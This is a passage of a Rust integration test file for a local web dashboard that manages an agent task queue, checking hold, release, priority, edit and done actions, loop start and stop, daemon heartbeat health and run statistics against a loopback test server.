6890 task.fail("agent gave up", 9);
6891 queue.put(&mut task).expect("file the task");
6892
6893 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6894 assert_eq!(held.status, 200);
6895 assert_eq!(held.json()["status_str"], "held");
6896
6897 let released = f
6898 .post(&format!("/api/queue/{}/release", task.id), None)
6899 .await;
6900 assert_eq!(released.status, 200);
6901 assert_eq!(released.json()["status_str"], "queued");
6902 assert_eq!(
6903 released.json()["attempts"],
6904 0,
6905 "release is a real second chance, not an instant re-hold"
6906 );
6907 assert_eq!(
6908 queue.get(&task.id).expect("reload").status,
6909 TaskStatus::Queued,
6910 "the change is on disk, not only in the reply"
6911 );
6912 assert!(
6913 !f.home
6914 .path()
6915 .join("queue")
6916 .join(format!("{}.lock", task.id))
6917 .exists(),
6918 "the claim the mutation took is released again"
6919 );
6920 }
6921
6922 #[tokio::test]
6923 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6924 let f = Fixture::start().await;
6925 let queue = f.queue();
6926 let mut task = Task::new(
6927 "busy".to_owned(),
6928 "Running right now".to_owned(),
6929 PathBuf::from("/repo/magi"),
6930 Source::Human,
6931 );
6932 queue.put(&mut task).expect("file the task");
6933 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6934
6935 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6936
6937 assert_eq!(res.status, 409);
6938 assert_eq!(
6939 queue.get(&task.id).expect("reload").status,
6940 TaskStatus::Queued,
6941 "the refused hold changed nothing"
6942 );
6943 }
6944
6945 #[tokio::test]
6946 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6947 let f = Fixture::start().await;
6948 let queue = f.queue();
6949 let mut task = Task::new(
6950 "waiting on the migration".to_owned(),
6951 "Do the thing".to_owned(),
6952 PathBuf::from("/repo/magi"),
6953 Source::Human,
6954 );
6955 queue.put(&mut task).expect("file the task");
6956
6957 let held = f
6958 .post(
6959 &format!("/api/queue/{}/hold", task.id),
6960 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6961 )
6962 .await;
6963 assert_eq!(held.status, 200, "{}", held.body);
6964 assert_eq!(held.json()["status_str"], "held");
6965 assert_eq!(
6966 held.json()["hold_reason"],
6967 "waiting for 20260101-000000-aaaa to land"
6968 );
6969
6970 let listed = f.get("/api/queue").await.json();
6971 assert_eq!(
6972 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6973 "the card reads the reason off the same list route"
6974 );
6975
6976 let mut plain = Task::new(
6979 "no reason given".to_owned(),
6980 "Do another thing".to_owned(),
6981 PathBuf::from("/repo/magi"),
6982 Source::Human,
6983 );
6984 queue.put(&mut plain).expect("file the task");
6985 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6986 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6987 assert!(held_plain.json()["hold_reason"].is_null());
6988
6989 let released = f
6990 .post(&format!("/api/queue/{}/release", task.id), None)
6991 .await;
6992 assert_eq!(released.status, 200);
6993 assert!(
6994 released.json()["hold_reason"].is_null(),
6995 "a release must clear the reason so the next hold does not inherit it"
6996 );
6997 }
6998
6999 #[tokio::test]
7000 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
7001 let f = Fixture::start().await;
7002 let queue = f.queue();
7003 let mut older = Task::new(
7004 "filed first".to_owned(),
7005 "x".to_owned(),
7006 PathBuf::from("/repo/magi"),
7007 Source::Human,
7008 );
7009 older.id = "20260101-000001-aaaa".to_owned();
7010 let mut newer = Task::new(
7011 "filed second".to_owned(),
7012 "x".to_owned(),
7013 PathBuf::from("/repo/magi"),
7014 Source::Human,
7015 );
7016 newer.id = "20260101-000002-bbbb".to_owned();
7017 queue.put(&mut older).expect("file older");
7018 queue.put(&mut newer).expect("file newer");
7019
7020 let before = f.get("/api/queue").await.json();
7023 assert_eq!(before[0]["id"], newer.id);
7024 assert_eq!(before[1]["id"], older.id);
7025
7026 let raised = f
7030 .post(
7031 &format!("/api/queue/{}/priority", older.id),
7032 Some(r#"{"priority":10}"#),
7033 )
7034 .await;
7035 assert_eq!(raised.status, 200, "{}", raised.body);
7036 assert_eq!(raised.json()["priority"], 10);
7037
7038 let after = f.get("/api/queue").await.json();
7039 let names: Vec<&str> = after
7040 .as_array()
7041 .unwrap()
7042 .iter()
7043 .map(|t| t["id"].as_str().unwrap())
7044 .collect();
7045 assert_eq!(names[0], older.id, "the raised task now sorts first");
7049 }
7050
7051 #[tokio::test]
7052 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
7053 let f = Fixture::start().await;
7054 let queue = f.queue();
7055 let mut task = Task::new(
7056 "in flight".to_owned(),
7057 "x".to_owned(),
7058 PathBuf::from("/repo/magi"),
7059 Source::Human,
7060 );
7061 task.start("20260902-140502-bbbb".to_owned());
7062 queue.put(&mut task).expect("file the task");
7063
7064 let res = f
7065 .post(
7066 &format!("/api/queue/{}/priority", task.id),
7067 Some(r#"{"priority":9}"#),
7068 )
7069 .await;
7070 assert_eq!(res.status, 400, "{}", res.body);
7071 assert!(
7072 res.json()["error"]
7073 .as_str()
7074 .is_some_and(|e| e.contains("running")),
7075 "{}",
7076 res.body
7077 );
7078 assert_eq!(
7079 queue.get(&task.id).expect("reload").priority,
7080 0,
7081 "the refused write must not partially apply"
7082 );
7083 }
7084
7085 #[tokio::test]
7086 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
7087 let f = Fixture::start().await;
7088 let queue = f.queue();
7089 let mut task = Task::new(
7090 "old title".to_owned(),
7091 "old instruction".to_owned(),
7092 PathBuf::from("/repo/magi"),
7093 Source::Agent {
7094 run: "20260101-000000-beef".to_owned(),
7095 node: "implement".to_owned(),
7096 },
7097 );
7098 task.runs.push("20260101-000000-beef".to_owned());
7099 queue.put(&mut task).expect("file the task");
7100 let created_at = task.created_at;
7101
7102 let edited = f
7103 .post(
7104 &format!("/api/queue/{}/edit", task.id),
7105 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
7106 )
7107 .await;
7108 assert_eq!(edited.status, 200, "{}", edited.body);
7109 let body = edited.json();
7110 assert_eq!(body["title"], "new title");
7111 assert_eq!(body["instruction"], "new instruction");
7112 assert_eq!(body["id"], task.id, "editing must not mint a new id");
7113 assert_eq!(body["created_at"], created_at.to_string());
7114 assert_eq!(
7115 body["source"]["kind"], "agent",
7116 "editing a task an agent filed must not turn it human: {body}"
7117 );
7118 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
7119
7120 let reloaded = queue.get(&task.id).expect("reload");
7121 assert_eq!(reloaded.title, "new title");
7122 assert_eq!(reloaded.instruction, "new instruction");
7123 }
7124
7125 #[tokio::test]
7126 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
7127 let f = Fixture::start().await;
7128 let queue = f.queue();
7129 let mut task = Task::new(
7130 "in flight".to_owned(),
7131 "do not touch".to_owned(),
7132 PathBuf::from("/repo/magi"),
7133 Source::Human,
7134 );
7135 task.start("20260902-140502-bbbb".to_owned());
7136 queue.put(&mut task).expect("file the task");
7137
7138 let res = f
7139 .post(
7140 &format!("/api/queue/{}/edit", task.id),
7141 Some(r#"{"title":"x","instruction":"y"}"#),
7142 )
7143 .await;
7144 assert_eq!(res.status, 400, "{}", res.body);
7145 assert!(
7146 res.json()["error"]
7147 .as_str()
7148 .is_some_and(|e| e.contains("running")),
7149 "{}",
7150 res.body
7151 );
7152 assert_eq!(
7153 queue.get(&task.id).expect("reload").instruction,
7154 "do not touch",
7155 "the refused edit must not change the file"
7156 );
7157 }
7158
7159 #[tokio::test]
7160 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
7161 let f = Fixture::start().await;
7162 let queue = f.queue();
7163 let mut task = Task::new(
7164 "busy".to_owned(),
7165 "Running right now".to_owned(),
7166 PathBuf::from("/repo/magi"),
7167 Source::Human,
7168 );
7169 queue.put(&mut task).expect("file the task");
7170 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7171
7172 let priority = f
7173 .post(
7174 &format!("/api/queue/{}/priority", task.id),
7175 Some(r#"{"priority":9}"#),
7176 )
7177 .await;
7178 assert_eq!(priority.status, 409, "{}", priority.body);
7179
7180 let edit = f
7181 .post(
7182 &format!("/api/queue/{}/edit", task.id),
7183 Some(r#"{"title":"x","instruction":"y"}"#),
7184 )
7185 .await;
7186 assert_eq!(edit.status, 409, "{}", edit.body);
7187 }
7188
7189 #[tokio::test]
7190 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
7191 let f = Fixture::start().await;
7192 let queue = f.queue();
7193 let mut task = Task::new(
7194 "shipped by hand".to_owned(),
7195 "merged outside the loop".to_owned(),
7196 PathBuf::from("/repo/magi"),
7197 Source::Agent {
7198 run: "20260101-000000-b455".to_owned(),
7199 node: "implement".to_owned(),
7200 },
7201 );
7202 task.runs.push("20260101-000000-b455".to_owned());
7203 task.runs.push("20260101-000000-9af4".to_owned());
7204 queue.put(&mut task).expect("file the task");
7205 let created_at = task.created_at;
7206
7207 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7208 assert_eq!(done.status, 200, "{}", done.body);
7209 assert_eq!(done.json()["status_str"], "done");
7210
7211 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
7212 assert_eq!(
7213 reloaded.runs,
7214 ["20260101-000000-b455", "20260101-000000-9af4"]
7215 );
7216 assert_eq!(
7217 reloaded.source,
7218 Source::Agent {
7219 run: "20260101-000000-b455".to_owned(),
7220 node: "implement".to_owned(),
7221 }
7222 );
7223 assert_eq!(reloaded.created_at, created_at);
7224 }
7225
7226 #[tokio::test]
7227 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
7228 let f = Fixture::start().await;
7233 let queue = f.queue();
7234 let mut task = Task::new(
7235 "landed while held".to_owned(),
7236 "x".to_owned(),
7237 PathBuf::from("/repo/magi"),
7238 Source::Human,
7239 );
7240 task.hold_manual(Some("waiting on 3ed9".to_owned()));
7241 queue.put(&mut task).expect("file the held task");
7242
7243 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7244 assert_eq!(done.status, 200, "{}", done.body);
7245 assert_eq!(done.json()["status_str"], "done");
7246 assert!(
7247 done.json()["hold_reason"].is_null(),
7248 "a done task cannot still be waiting on something: {}",
7249 done.body
7250 );
7251 }
7252
7253 #[tokio::test]
7254 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
7255 let f = Fixture::start().await;
7260 let queue = f.queue();
7261 let runs = f.runs();
7262 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
7263 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
7267
7268 let mut task = Task::new(
7269 "landed by hand".to_owned(),
7270 "x".to_owned(),
7271 PathBuf::from("/repo/magi"),
7272 Source::Human,
7273 );
7274 task.runs.push("20260101-000000-doa1".to_owned());
7275 task.runs.push("20260101-000000-doa2".to_owned());
7276 queue.put(&mut task).expect("file the task");
7277
7278 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7279 assert_eq!(done.status, 200, "{}", done.body);
7280
7281 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
7282 .expect("run still on disk under this fixture's own home");
7283 assert_eq!(
7284 reloaded_run.status,
7285 RunStatus::Superseded,
7286 "closing the task by hand must relabel the earlier blocked attempt exactly \
7287 like the loop's own settle path does"
7288 );
7289 }
7290
7291 #[tokio::test]
7292 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
7293 let f = Fixture::start().await;
7298 let queue = f.queue();
7299 let runs = f.runs();
7300 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
7301 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
7302
7303 let mut task = Task::new(
7304 "closed with nothing actually landed".to_owned(),
7305 "x".to_owned(),
7306 PathBuf::from("/repo/magi"),
7307 Source::Human,
7308 );
7309 task.runs.push("20260101-000000-dob1".to_owned());
7310 task.runs.push("20260101-000000-dob2".to_owned());
7311 queue.put(&mut task).expect("file the task");
7312
7313 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7314 assert_eq!(done.status, 200, "{}", done.body);
7315
7316 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
7317 .expect("run still on disk under this fixture's own home");
7318 assert_eq!(
7319 reloaded_run.status,
7320 RunStatus::Blocked,
7321 "the last recorded attempt never landed, so the earlier one must not be \
7322 relabelled as superseded by it"
7323 );
7324 }
7325
7326 #[tokio::test]
7327 async fn unknown_ids_are_json_not_found_on_both_stores() {
7328 let f = Fixture::start().await;
7329
7330 let run = f.get("/api/runs/nosuchrun").await;
7331 let task = f.post("/api/queue/nosuchtask/hold", None).await;
7332
7333 assert_eq!(run.status, 404);
7334 assert_eq!(task.status, 404);
7335 assert!(
7336 run.json()["error"]
7337 .as_str()
7338 .is_some_and(|e| e.contains("run")),
7339 "the error names what was not found: {}",
7340 run.body
7341 );
7342 assert!(
7343 task.json()["error"]
7344 .as_str()
7345 .is_some_and(|e| e.contains("task")),
7346 "the error names what was not found: {}",
7347 task.body
7348 );
7349 }
7350
7351 #[tokio::test]
7352 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
7353 let f = Fixture::start().await;
7354
7355 let missing = f.get("/api/health").await.json();
7356 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
7357
7358 write_daemon(
7359 f.home.path(),
7360 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7361 );
7362 let stale = f.get("/api/health").await.json();
7363 assert_eq!(
7364 stale["daemon"]["running"], false,
7365 "a minute without a heartbeat is a dead daemon, not a busy one"
7366 );
7367 assert!(
7368 stale["daemon"]["stale_for_secs"]
7369 .as_i64()
7370 .is_some_and(|s| s >= 55),
7371 "staleness is reported so the UI can say how long: {stale}"
7372 );
7373
7374 write_daemon(f.home.path(), Timestamp::now());
7375 let fresh = f.get("/api/health").await.json();
7376 assert_eq!(fresh["daemon"]["running"], true);
7377 assert_eq!(fresh["daemon"]["idle"], false);
7378 assert_eq!(fresh["daemon"]["pid"], 4242);
7379 assert_eq!(fresh["daemon"]["completed"], 7);
7380 assert_eq!(
7381 fresh["daemon"]["current"][0]["task"],
7382 "20260902-140501-aaaa"
7383 );
7384 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
7385 }
7386
7387 #[tokio::test]
7388 async fn the_loop_is_not_running_until_something_starts_it() {
7389 let f = Fixture::start().await;
7390
7391 let view = f.get("/api/loop").await.json();
7392 assert_eq!(view["running"], false);
7393 assert_eq!(
7394 view["owned"], false,
7395 "nobody owns a loop that does not exist: {view}"
7396 );
7397 assert_eq!(view["stopping"], false);
7398 assert_eq!(view["last_error"], Value::Null);
7399 assert_eq!(view["daemon"]["running"], false);
7400 assert_eq!(
7401 view["repo"], "/repo/magi",
7402 "the repository a start would use, named before it is started"
7403 );
7404 }
7405
7406 #[tokio::test]
7407 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
7408 let f = Fixture::start().await;
7409
7410 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7411 assert_eq!(res.status, 200, "{}", res.body);
7412 let view = res.json();
7413 assert_eq!(view["running"], true);
7414 assert_eq!(
7415 view["owned"], true,
7416 "the loop the UI started is the UI's own to stop: {view}"
7417 );
7418 assert_eq!(
7419 view["merge"],
7420 Value::Null,
7421 "no override was given, so each repository's own config decides"
7422 );
7423
7424 let health = f.get("/api/health").await.json();
7428 assert_eq!(health["loop"]["running"], true, "{health}");
7429 assert_eq!(health["loop"]["owned"], true, "{health}");
7430
7431 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7432 }
7433
7434 #[tokio::test]
7435 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
7436 let f = Fixture::start().await;
7437 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7438 assert_eq!(first.status, 200, "{}", first.body);
7439
7440 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7441 assert_eq!(
7442 again.status, 409,
7443 "two loops on one queue race for the same claims: {}",
7444 again.body
7445 );
7446 assert!(
7447 again.json()["error"]
7448 .as_str()
7449 .is_some_and(|e| e.contains("already running the loop")),
7450 "the refusal has to say why: {}",
7451 again.body
7452 );
7453 assert_eq!(
7454 f.get("/api/loop").await.json()["running"],
7455 true,
7456 "and the loop that was already running is untouched by it"
7457 );
7458
7459 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7460 }
7461
7462 #[tokio::test]
7463 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
7464 let f = Fixture::start().await;
7465 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7466
7467 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7468 assert_eq!(
7469 res.status, 200,
7470 "the answer must not wait for the loop: a run in flight is tens of \
7471 minutes and the operator is holding a phone: {}",
7472 res.body
7473 );
7474
7475 let view = settled(&f, |v| v["running"] == false).await;
7476 assert_eq!(view["owned"], false);
7477 assert_eq!(
7478 view["stopping"], false,
7479 "a loop that has stopped is not still stopping: {view}"
7480 );
7481 assert_eq!(
7482 view["last_error"],
7483 Value::Null,
7484 "a loop that was asked to stop did not fail: {view}"
7485 );
7486
7487 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7490 assert_eq!(twice.status, 200, "{}", twice.body);
7491 }
7492
7493 #[tokio::test]
7494 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
7495 let f = Fixture::start().await;
7496 write_daemon(f.home.path(), Timestamp::now());
7499
7500 let view = f.get("/api/loop").await.json();
7501 assert_eq!(view["running"], false, "not in this process: {view}");
7502 assert_eq!(view["owned"], false, "and not this process's to control");
7503 assert_eq!(
7504 view["daemon"]["running"], true,
7505 "but a loop is alive somewhere, which is what the UI must say"
7506 );
7507 assert_eq!(view["daemon"]["pid"], 4242);
7508
7509 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
7510 let res = f.post("/api/loop", Some(body)).await;
7511 assert_eq!(
7512 res.status, 409,
7513 "neither button may pretend to work on someone else's loop: {}",
7514 res.body
7515 );
7516 assert!(
7517 res.json()["error"]
7518 .as_str()
7519 .is_some_and(|e| e.contains("4242")),
7520 "the refusal has to name the process the operator must go to: {}",
7521 res.body
7522 );
7523 }
7524 assert_eq!(
7525 f.get("/api/loop").await.json()["running"],
7526 false,
7527 "and the refusal started nothing"
7528 );
7529 }
7530
7531 #[tokio::test]
7532 async fn a_stale_status_file_is_not_a_foreign_owner() {
7533 let f = Fixture::start().await;
7534 write_daemon(
7535 f.home.path(),
7536 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7537 );
7538
7539 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7540 assert_eq!(
7541 res.status, 200,
7542 "a daemon killed a minute ago must not lock the loop out of its \
7543 own home for good: {}",
7544 res.body
7545 );
7546 assert_eq!(res.json()["running"], true);
7547
7548 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7549 }
7550
7551 #[tokio::test]
7552 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
7553 let f = Fixture::start().await;
7554 let before = f.get("/api/health").await.json()["loop_rev"]
7555 .as_u64()
7556 .expect("a loop revision");
7557
7558 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7559
7560 let after = f.get("/api/health").await.json()["loop_rev"]
7561 .as_u64()
7562 .expect("a loop revision");
7563 assert!(
7564 after > before,
7565 "the loop is in-process state, so this counter is the only thing \
7566 that tells a second device the first one started it: {before} -> \
7567 {after}"
7568 );
7569
7570 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7571 }
7572
7573 #[tokio::test]
7574 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
7575 let f = Fixture::with_loop(launch_broken).await;
7576
7577 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7578 assert_eq!(
7579 res.status, 200,
7580 "starting it is not the failure: {}",
7581 res.body
7582 );
7583
7584 let view = settled(&f, |v| v["last_error"].is_string()).await;
7585 assert_eq!(
7586 view["running"], false,
7587 "a loop that died must not read as running, or the operator has \
7588 nothing to press: {view}"
7589 );
7590 assert_eq!(view["owned"], false);
7591 assert!(
7592 view["last_error"]
7593 .as_str()
7594 .is_some_and(|e| e.contains("read-only file system")),
7595 "the phone is where a loop that died at 3am is visible: {view}"
7596 );
7597
7598 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7601 assert_eq!(again.status, 200, "{}", again.body);
7602 assert_eq!(
7603 again.json()["last_error"],
7604 Value::Null,
7605 "a fresh start does not keep showing why the last one died"
7606 );
7607 }
7608
7609 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
7621 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
7622 let home = TempDir::new().expect("temp home");
7623 let runs = home.path().join("runs");
7624 std::fs::create_dir_all(&runs).expect("runs dir");
7625 let ui = Ui::new(
7626 Queue::at(home.path().join("queue")),
7627 Questions::at(home.path().join("questions")),
7628 Talks::at(home.path().join("talks")),
7629 runs,
7630 home.path().to_path_buf(),
7631 PathBuf::from("/repo/magi"),
7632 )
7633 .with_worktrees_root(home.path().join("wt"))
7634 .with_launch(launch_knocking_on_the_way_out);
7635 let looping = ui.looping();
7636 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7637 .await
7638 .expect("bind loopback");
7639 let addr = listener.local_addr().expect("local addr");
7640 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
7641 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7642
7643 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
7644 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
7645
7646 let bound = std::sync::Mutex::new(None);
7661 hand_over(home.path(), &looping, served, || {
7662 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
7663 let attempt = loop {
7664 match std::net::TcpListener::bind(addr) {
7665 Ok(l) => {
7666 drop(l);
7667 break Ok(());
7668 }
7669 Err(e)
7670 if e.kind() == std::io::ErrorKind::AddrInUse
7671 && std::time::Instant::now() < deadline =>
7672 {
7673 std::thread::sleep(std::time::Duration::from_millis(10));
7674 }
7675 Err(e) => break Err(e.to_string()),
7676 }
7677 };
7678 *bound.lock().expect("bound") = Some(attempt);
7679 Ok(())
7680 })
7681 .await
7682 .expect("hand over");
7683
7684 assert_eq!(
7685 *PARK_HEARD.lock().expect("park heard"),
7686 Some(200),
7687 "the deck must answer while the loop is parking"
7688 );
7689 let attempt = bound
7690 .lock()
7691 .expect("bound")
7692 .take()
7693 .expect("the successor was started");
7694 assert!(
7695 attempt.is_ok(),
7696 "and the address must be free by the time it is: {attempt:?}"
7697 );
7698 }
7699
7700 #[tokio::test]
7701 async fn a_newer_daemon_status_file_still_renders() {
7702 let f = Fixture::start().await;
7703 std::fs::write(
7706 f.home.path().join("daemon.json"),
7707 serde_json::json!({
7708 "schema": 2,
7709 "updated_at": Timestamp::now().to_string(),
7710 "idle": true,
7711 "surprise": { "nested": [1, 2, 3] },
7712 })
7713 .to_string(),
7714 )
7715 .expect("write daemon.json");
7716
7717 let health = f.get("/api/health").await;
7718
7719 assert_eq!(health.status, 200);
7720 assert_eq!(health.json()["daemon"]["running"], true);
7721 }
7722
7723 #[tokio::test]
7724 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7725 let f = Fixture::start().await;
7726 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7727 let broken = f.runs().join("20260902-140502-bad");
7728 std::fs::create_dir_all(&broken).expect("run dir");
7729 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7730
7731 let list = f.get("/api/runs").await;
7732 let detail = f.get("/api/runs/20260902-140502-bad").await;
7733
7734 assert_eq!(list.status, 200);
7735 let listed = list.json();
7736 let ids: Vec<&str> = listed
7737 .as_array()
7738 .expect("an array")
7739 .iter()
7740 .map(|r| r["id"].as_str().expect("an id"))
7741 .collect();
7742 assert_eq!(
7743 ids,
7744 vec!["20260902-140501-good"],
7745 "one unreadable run must not cost the operator the whole history"
7746 );
7747 assert_eq!(detail.status, 500);
7748 assert!(
7749 detail.json()["error"]
7750 .as_str()
7751 .is_some_and(|e| e.contains("run.json")),
7752 "the failure names the file to look at: {}",
7753 detail.body
7754 );
7755 let health = f.get("/api/health").await;
7759 assert_eq!(health.json()["runs_unreadable"], 1);
7760 }
7761
7762 #[tokio::test]
7767 async fn stats_runs_unreadable_matches_health() {
7768 let f = Fixture::start().await;
7769 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7770 let broken = f.runs().join("20260902-140502-bad");
7771 std::fs::create_dir_all(&broken).expect("run dir");
7772 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7773
7774 let stats = f.get("/api/stats").await;
7775 let health = f.get("/api/health").await;
7776
7777 assert_eq!(stats.status, 200);
7778 assert_eq!(stats.json()["totals"]["runs"], 1);
7779 assert_eq!(stats.json()["runs_unreadable"], 1);
7780 assert_eq!(
7781 stats.json()["runs_unreadable"],
7782 health.json()["runs_unreadable"],
7783 "the dashboard and /api/health must never disagree about how many \
7784 runs could not be read"
7785 );
7786 }
7787
7788 #[tokio::test]
7789 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
7790 let f = Fixture::start().await;
7791 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7792 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
7793 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
7794
7795 let totals = &f.get("/api/stats").await.json()["totals"];
7796 assert_eq!(totals["runs"], 3);
7797 assert_eq!(totals["merged"], 1);
7798 assert_eq!(totals["stalled"], 1);
7799 assert_eq!(totals["in_progress"], 1);
7800 assert_eq!(totals["blocked"], 0);
7803 assert_eq!(totals["ready"], 0);
7804 }
7805
7806 #[tokio::test]
7807 async fn stats_advisors_report_proposals_and_reflection() {
7808 use crate::advise::{Advice, AdvisorRecord, Reflection};
7809 use crate::verdict::Proposal;
7810
7811 let f = Fixture::start().await;
7812 let mut state = RunState::new(
7813 PathBuf::from("/repo/magi"),
7814 "main".to_owned(),
7815 "0123456789abcdef".to_owned(),
7816 "task".to_owned(),
7817 Config::default(),
7818 );
7819 state.id = "20260902-140501-a".to_owned();
7820 state.status = RunStatus::Merged;
7821 state.advice = Some(Advice {
7822 records: vec![
7823 AdvisorRecord {
7824 seat: "advisor-1".to_owned(),
7825 agent: "alpha".to_owned(),
7826 proposal: Some(Proposal {
7827 approach: "do it".to_owned(),
7828 key_tradeoff: "speed over memory".to_owned(),
7829 risks: Vec::new(),
7830 touches: Vec::new(),
7831 why_not_naive: "breaks under load".to_owned(),
7832 }),
7833 error: None,
7834 duration_ms: 0,
7835 reflection: Reflection::Strong,
7836 },
7837 AdvisorRecord {
7838 seat: "advisor-2".to_owned(),
7839 agent: "alpha".to_owned(),
7840 proposal: None,
7841 error: Some("timed out".to_owned()),
7842 duration_ms: 0,
7843 reflection: Reflection::Absent,
7844 },
7845 ],
7846 synthesis: Some("blended brief".to_owned()),
7847 });
7848 let dir = f.runs().join(&state.id);
7849 std::fs::create_dir_all(&dir).expect("run dir");
7850 std::fs::write(
7851 dir.join("run.json"),
7852 serde_json::to_string_pretty(&state).expect("serialize run"),
7853 )
7854 .expect("write run.json");
7855
7856 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
7857 let alpha = advisors
7858 .as_array()
7859 .expect("an array")
7860 .iter()
7861 .find(|a| a["agent"] == "alpha")
7862 .expect("alpha row");
7863 assert_eq!(alpha["seated"], 2);
7864 assert_eq!(alpha["proposed"], 1);
7865 assert_eq!(alpha["absent"], 1);
7866 assert_eq!(alpha["strong"], 1);
7867 assert_eq!(alpha["faint"], 0);
7868 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
7869 }
7870
7871 #[tokio::test]
7872 async fn stats_release_bumps_split_clean_from_attention() {
7873 use crate::run::ReleaseBump;
7874
7875 let f = Fixture::start().await;
7876
7877 let mut clean = RunState::new(
7878 PathBuf::from("/repo/magi"),
7879 "main".to_owned(),
7880 "0123456789abcdef".to_owned(),
7881 "task".to_owned(),
7882 Config::default(),
7883 );
7884 clean.id = "20260902-140501-a".to_owned();
7885 clean.status = RunStatus::Merged;
7886 clean.release_bump = Some(ReleaseBump {
7887 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
7888 version: Some("1.0.0".to_owned()),
7889 automerge_enabled: true,
7890 merged_directly: false,
7891 problem: None,
7892 action_required: None,
7893 });
7894
7895 let mut blocked = RunState::new(
7896 PathBuf::from("/repo/magi"),
7897 "main".to_owned(),
7898 "0123456789abcdef".to_owned(),
7899 "task".to_owned(),
7900 Config::default(),
7901 );
7902 blocked.id = "20260902-140502-b".to_owned();
7903 blocked.status = RunStatus::Merged;
7904 blocked.release_bump = Some(ReleaseBump {
7905 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
7906 version: Some("1.0.1".to_owned()),
7907 automerge_enabled: false,
7908 merged_directly: false,
7909 problem: Some("checks red".to_owned()),
7910 action_required: Some("look at the PR".to_owned()),
7911 });
7912
7913 for state in [&clean, &blocked] {
7914 let dir = f.runs().join(&state.id);
7915 std::fs::create_dir_all(&dir).expect("run dir");
7916 std::fs::write(
7917 dir.join("run.json"),
7918 serde_json::to_string_pretty(state).expect("serialize run"),
7919 )
7920 .expect("write run.json");
7921 }
7922
7923 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7924 assert_eq!(bumps["merged"], 2);
7925 assert_eq!(bumps["recorded"], 2);
7926 assert_eq!(bumps["pr_opened"], 2);
